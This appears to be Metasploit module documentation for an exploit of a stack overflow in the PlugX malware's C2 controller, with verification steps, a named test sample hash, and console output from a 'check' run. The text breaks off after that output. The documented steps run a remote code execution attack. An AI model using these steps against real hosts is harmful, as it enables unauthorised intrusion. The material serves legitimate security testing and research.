This module exploits a stack overflow in the Plug-X Controller when handling a larger than expected message. This vulnerability can allow remote code execution however it causes a popup message to be displayed on the target before execution is gained.
## Verification
Run the PlugX C2 server on a target windows machine. The sample 9f59a606c57217d98a5eea6846c8113aca07b203e0dcf17877b34a8b2308ade6 is a Plux Type 1 server that works good for testing.
- [ ] use exploit/windows/misc/plugx
- [ ] set RHOST [ip of target]
- [ ] set target 1
- [ ] exploit
- [ ] acknowledge the "PeDecodePacket" message on the target
Sample output:
```
msf> use exploit/windows/misc/plugx
msf exploit(plugx) > set rhost 192.168.161.128
rhost => 192.168.161.128
msf exploit(plugx) > set target 1
target => 1
msf exploit(plugx) > check
[*] 192.168.161.128:13579 - "\x03\xB0\x02\x00\x04\x00"
[*] 192.168.161.128:13579 The target appears to be vulnerable.
